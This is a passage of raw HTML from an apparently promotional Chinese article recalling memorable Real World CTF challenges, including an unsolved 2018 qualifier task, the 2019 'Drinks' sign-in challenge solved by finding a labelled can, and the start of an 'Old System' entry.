!important;">来自2018年线上入围赛</span></p><p style="outline: 0px;max-width: 100%;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="outline: 0px;max-width: 100%;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 19px;line-height: 1.58em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;line-height: 1.58em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(38, 160, 58);font-family: 微软雅黑, sans-serif;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">上榜理由</span></strong><strong style="outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 微软雅黑, sans-serif;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">：</span></strong></span><strong style="outline: 0px;max-width: 100%;caret-color: red;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 16px;font-family: 微软雅黑, sans-serif;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">从笑容到凝固，大概只需要一分钟</span></strong></p><p style="outline: 0px;max-width: 100%;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="outline: 0px;max-width: 100%;text-align: left;line-height: 1.75em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;font-family: 微软雅黑, sans-serif;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">从比赛开始就被放出的“独孤求解“型题目，</span></p><p style="outline: 0px;max-width: 100%;text-align: left;line-height: 1.75em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;font-family: 微软雅黑, sans-serif;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">多次给出Hint，却始终无一人能探破，</span></p><p style="outline: 0px;max-width: 100%;text-align: left;line-height: 1.75em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">直到比赛结束</span><span style="outline: 0px;max-width: 100%;font-size: 19px;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;line-height: 1.58em;color: rgb(38, 160, 58);font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">后</span></strong></span><span style="outline: 0px;max-width: 100%;font-size: 15px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">的一分钟。</span></p><p style="outline: 0px;max-width: 100%;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">Flag：我应该在一分钟前，不应该在一分钟后</span></p><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="outline: 0px;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="1" data-s="300,640" style="outline: 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 274px !important;visibility: visible !important;" data-type="jpeg" data-w="641" src="https://wechat2rss.xlab.app/img-proxy/?k=0548b292&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FFOh11C4BDicQBuQHPL8ibkzSrTc42IevYBFn6cjibgZcq3p6vygosFzdp2vOORayu33nx1y21vxTUpYLd6OJ3z6eA%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><section data-tools="135编辑器" data-id="85560" data-color="#7ac259" style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="margin-right: auto;margin-left: auto;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="padding: 2px 10px;outline: 0px;max-width: 100%;box-sizing: border-box;display: flex;justify-content: flex-start;overflow-wrap: break-word !important;"><section data-darkmode-bgimage="1" data-darkmode-color="rgba(0,0,0,0.9)" style="margin-right: 10px;outline: 0px;max-width: 100%;box-sizing: border-box;width: 50px;height: 50px;border-width: 2px;border-style: solid;border-color: rgb(38, 160, 58);border-radius: 100%;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_jpg/FOh11C4BDicQBuQHPL8ibkzSrTc42IevYBIo2ic4xiaMQ3mMRmtL4lI0yAf604k3MFbk88Cibice3fLEZ3euC86SLia6A/640?wx_fmt=jpeg&#34;);background-size: cover;background-position: center center;background-repeat: no-repeat;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="1.067632850241546" data-type="jpeg" data-w="414" data-width="100%" title="小龙.jpg" style="outline: 0px;box-sizing: border-box;vertical-align: inherit;width: 46px;border-radius: 50%;opacity: 0;overflow-wrap: break-word !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=54426844&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FFOh11C4BDicQBuQHPL8ibkzSrTc42IevYBIo2ic4xiaMQ3mMRmtL4lI0yAf604k3MFbk88Cibice3fLEZ3euC86SLia6A%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section style="margin: 5px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="outline: 0px;max-width: 100%;box-sizing: border-box;clear: none;font-size: 12px;line-height: 1.5em;overflow-wrap: break-word !important;"><br/></p></section></section><section style="margin: 5px;outline: 0px;max-width: 100%;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;overflow-wrap: break-word !important;"><section style="margin-left: 18px;outline: 0px;max-width: 100%;box-sizing: border-box;width: 0px;border-bottom: 0.6em solid rgb(38, 160, 58);border-top-color: rgb(38, 160, 58);height: 10px;color: inherit;overflow: hidden;overflow-wrap: break-word !important;border-left: 0.7em solid transparent !important;border-right: 0.7em solid transparent !important;"><br/></section><section style="margin-top: -8px;margin-left: 18px;outline: 0px;max-width: 100%;box-sizing: border-box;width: 0px;border-bottom: 0.6em solid rgb(254, 254, 254);border-top-color: rgb(254, 254, 254);height: 10px;color: inherit;float: left;overflow: hidden;overflow-wrap: break-word !important;border-left: 0.7em solid transparent !important;border-right: 0.7em solid transparent !important;"><br/></section><section style="margin-right: auto;margin-bottom: -2px;margin-left: auto;padding: 15px;outline: 0px;max-width: 100%;box-sizing: border-box;text-align: center;border-width: 2px;border-style: solid;border-color: rgb(38, 160, 58);border-radius: 5px;overflow-wrap: break-word !important;"><p style="outline: 0px;max-width: 100%;box-sizing: border-box;text-align: justify;border-color: rgb(38, 160, 58);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;text-align: left;caret-color: red;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">不过真的有很多强队在比赛结束后仍沉溺其中</span></p><p style="outline: 0px;max-width: 100%;text-align: left;line-height: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">继续冲击难题直至解出</span></p><p style="outline: 0px;max-width: 100%;text-align: left;line-height: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">在第四届比赛中</span></p><p style="outline: 0px;max-width: 100%;text-align: left;line-height: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">同样出现赛后几小时才解出题目的情况</span></p><p style="outline: 0px;max-width: 100%;text-align: left;line-height: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;font-size: 1.1875em;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-darkmode-color="rgb(235, 173, 51)" data-darkmode-original-color="rgb(235, 173, 51)" style="outline: 0px;max-width: 100%;color: rgb(235, 173, 51);font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">或许已经无关分数，只有热爱吧。</span></strong></span></p></section></section></section></section><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;font-size: 19px;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(235, 173, 51);font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">解题思路：</span></strong></p><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;font-size: 19px;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(235, 173, 51);font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="0.4725" style="outline: 0px;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;" data-type="jpeg" data-w="800" src="https://wechat2rss.xlab.app/img-proxy/?k=6a50e2f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FFOh11C4BDicQBuQHPL8ibkzSrTc42IevYBU8CXS9wM8hqzZ7pxWMEvvOn6FUPpibLTVbDhv9dHJVlh2VNNb7ls5NA%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></span></strong></p><p style="outline: 0px;max-width: 100%;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">赛后由长亭出题师傅亲自出品writeup， 想看看这只是线上入围赛就难倒众人的题目，欢迎点击查看。</span></p><p style="outline: 0px;max-width: 100%;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzIwNDA2NDk5OQ==&amp;mid=2651371919&amp;idx=3&amp;sn=cdf741ce5248b73ac2b94e60e73d5be8&amp;chksm=8d39c807ba4e41113b366a6ca2a91961462639e36b9d68c2c9636f155c9297cb0117558f6d08&amp;scene=21#wechat_redirect" textvalue="Real World CTF | PrintMD writeup" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" hasload="1" style="outline: 0px;text-decoration: underline;cursor: pointer;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;line-height: 1.58em;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;line-height: 1.58em;color: rgb(38, 160, 58);font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">Real World CTF | PrintMD writeup</span></strong></span></a></p><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 19px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">2</span></strong><strong style="outline: 0px;max-width: 100%;font-size: 19px;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">、<strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">最emo题目：</strong></span></strong><strong style="outline: 0px;max-width: 100%;font-size: 19px;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(38, 160, 58);font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">&lt;</span></strong><strong style="outline: 0px;max-width: 100%;font-size: 19px;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">Drinks</span></strong><strong style="outline: 0px;max-width: 100%;font-size: 19px;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(235, 173, 51);font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">&gt;</span></strong></p><p style="outline: 0px;max-width: 100%;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 16px;background-color: rgb(0, 158, 231);line-height: 1.56em;color: rgb(252, 252, 252);font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">来自2019年线下总决赛</span></p><p style="outline: 0px;max-width: 100%;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="outline: 0px;max-width: 100%;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 19px;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;line-height: 1.58em;color: rgb(38, 160, 58);font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">上榜理由</span></strong></span><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 16px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">：开创签到题清奇解题风格</span></strong></p><p style="outline: 0px;max-width: 100%;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="outline: 0px;max-width: 100%;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">据说这道题，曾在2019年的线下赛场引起一阵“血雨腥风”</span></p><p style="outline: 0px;max-width: 100%;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">本来只是为了打声招呼“我来了”的签到题，</span></p><p style="outline: 0px;max-width: 100%;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">太过“骚操作”的解题姿势却让无数战队竞折腰。</span></p><p style="outline: 0px;max-width: 100%;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">你在说什么？我是谁？我在干什么？</span></p><p style="outline: 0px;max-width: 100%;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">从此开创了RWCTF签到题清奇的解题风格</span></p><p style="outline: 0px;max-width: 100%;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">甚至有战队一直参赛只为看今年RWCTF又会有什么超大脑洞？</span></p><p style="outline: 0px;max-width: 100%;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="outline: 0px;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img __bg_gif" data-ratio="1.4" width="319" data-type="gif" data-w="500" data-width="319px" style="outline: 0px;box-sizing: border-box;vertical-align: inherit;overflow-wrap: break-word !important;width: 224px !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=f87592cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FFOh11C4BDicQBuQHPL8ibkzSrTc42IevYBIRBHyCcTVIeVqwpHMpNRvRVTh5wic8VZvYEbDiat4Z7EvVnKiaPgQOVCw%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></p><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><section data-tools="135编辑器" data-id="85560" data-color="#7ac259" style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="margin-right: auto;margin-left: auto;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="padding: 2px 10px;outline: 0px;max-width: 100%;box-sizing: border-box;display: flex;justify-content: flex-start;overflow-wrap: break-word !important;"><section data-darkmode-bgimage="1" data-darkmode-color="rgba(0,0,0,0.9)" style="margin-right: 10px;outline: 0px;max-width: 100%;box-sizing: border-box;width: 50px;height: 50px;border-width: 2px;border-style: solid;border-color: rgb(38, 160, 58);border-radius: 100%;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_jpg/FOh11C4BDicQBuQHPL8ibkzSrTc42IevYBIo2ic4xiaMQ3mMRmtL4lI0yAf604k3MFbk88Cibice3fLEZ3euC86SLia6A/640?wx_fmt=jpeg&#34;);background-size: cover;background-position: center center;background-repeat: no-repeat;overflow-wrap: break-word !important;"><span class="js_img_placeholder" src="https://mmbiz.qpic.cn/mmbiz_jpg/FOh11C4BDicQBuQHPL8ibkzSrTc42IevYBIo2ic4xiaMQ3mMRmtL4lI0yAf604k3MFbk88Cibice3fLEZ3euC86SLia6A/640?wx_fmt=jpeg" data-index="7" style="outline: 0px;display: inline-flex;align-items: center;justify-content: center;"><span style="outline: 0px;font-size: 16px;display: inline-flex;width: 1em;height: 1em;vertical-align: middle;color: rgb(96, 96, 96);animation: 1s steps(60) 0s infinite normal none running f;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></span></section><section style="margin: 5px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="outline: 0px;max-width: 100%;box-sizing: border-box;clear: none;font-size: 12px;line-height: 1.5em;overflow-wrap: break-word !important;"><br/></p></section></section><section style="margin: 5px;outline: 0px;max-width: 100%;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;overflow-wrap: break-word !important;"><section style="margin-left: 18px;outline: 0px;max-width: 100%;box-sizing: border-box;width: 0px;border-bottom: 0.6em solid rgb(38, 160, 58);border-top-color: rgb(38, 160, 58);height: 10px;color: inherit;overflow: hidden;overflow-wrap: break-word !important;border-left: 0.7em solid transparent !important;border-right: 0.7em solid transparent !important;"><br/></section><section style="margin-top: -8px;margin-left: 18px;outline: 0px;max-width: 100%;box-sizing: border-box;width: 0px;border-bottom: 0.6em solid rgb(254, 254, 254);border-top-color: rgb(254, 254, 254);height: 10px;color: inherit;float: left;overflow: hidden;overflow-wrap: break-word !important;border-left: 0.7em solid transparent !important;border-right: 0.7em solid transparent !important;"><br/></section><section style="margin-right: auto;margin-bottom: -2px;margin-left: auto;padding: 15px;outline: 0px;max-width: 100%;box-sizing: border-box;text-align: center;border-width: 2px;border-style: solid;border-color: rgb(38, 160, 58);border-radius: 5px;overflow-wrap: break-word !important;"><p style="outline: 0px;max-width: 100%;box-sizing: border-box;text-align: justify;border-color: rgb(38, 160, 58);line-height: 2em;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;text-align: left;caret-color: red;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-darkmode-color="rgb(235, 173, 51)" data-darkmode-original-color="rgb(235, 173, 51)" style="outline: 0px;max-width: 100%;caret-color: red;color: rgb(235, 173, 51);font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">或许先来个小互动</span></strong></span><span style="outline: 0px;max-width: 100%;font-size: 16px;text-align: left;caret-color: red;color: rgb(235, 173, 51);font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">，</span></p><p style="outline: 0px;max-width: 100%;text-align: left;line-height: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">大家猜猜今年的签到题会是什么思路呢？</span></p><p style="outline: 0px;max-width: 100%;text-align: left;line-height: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">写下你的留言，</span></p><p style="outline: 0px;max-width: 100%;text-align: left;line-height: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">猜测最相近的小伙伴将获得RW定制礼品一份哦。</span></p></section></section></section></section><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p></section><section data-role="paragraph" style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;font-size: 19px;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(235, 173, 51);font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">解题思路：</span></strong></p><p style="outline: 0px;max-width: 100%;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span><span style="outline: 0px;max-width: 100%;font-size: 15px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">只需要参赛战队从事先摆放在桌上的多罐瓶身印有不同文字的饮品中，找出印有 rwctf{pwned_coke} 的那一罐即为成功。</span><span style="outline: 0px;max-width: 100%;color: black;text-decoration: underline;font-size: 15px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></p><p style="outline: 0px;max-width: 100%;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="outline: 0px;max-width: 100%;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="outline: 0px;max-width: 100%;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 19px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">3</span></strong><strong style="outline: 0px;max-width: 100%;font-size: 19px;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">、<strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">最浪漫技术题目：</strong></span></strong><strong style="outline: 0px;max-width: 100%;font-size: 19px;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(38, 160, 58);font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">&lt;</span></strong><strong style="outline: 0px;max-width: 100%;font-size: 19px;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">Old System</span></strong><strong style="outline: 0px;max-width: 100%;font-size: 19px;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(235, 173, 51);font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">&gt;</span></strong></p><p style="outline: 0px;max-width: 100%;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 16px;background-color: rgb(0, 158, 231);line-height: 1.56em;color: rgb(252, 252, 252);font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">来自2020/2021年线上总决赛</span></p><p style="outline: 0px;max-width: 100%;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="outline: 0px;max-width: 100%;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 19px;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;line-height: 1.58em;color: rgb(38, 160, 58);font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">上榜理由</span></strong></span><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 16px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">：<strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">另类的技术浪漫好像也挺“要命“</strong></span></strong></p><p style="outline: 0px;max-width: 100%;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="outline: 0px;max-width: 100%;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">有人说，技术可以是很浪漫的，</span></p><p style="outline: 0px;max-width: 100%;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">有人说，程序员的浪漫麻瓜们是不懂的</span></p><p style="outline: 0px;max-width: 100%;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">但在RWCTF，出题人的浪漫？</span></p><p style="outline: 0px;max-width: 100%;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">好像也不是那么能get。</span><span style=""></span></p><p style="outline: 0px;max-width: 100%;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">将浮士德剧情的心脏变为石头，</span></p><p style="outline: 0px;max-width: 100%;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">结合破解的艺术和密码学、算法，</span></p><p style="outline: 0px;max-width: 100%;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">只能继续说：你在说什么？</span><span style=""></span></p><p style="outline: 0px;max-width: 100%;line-height: 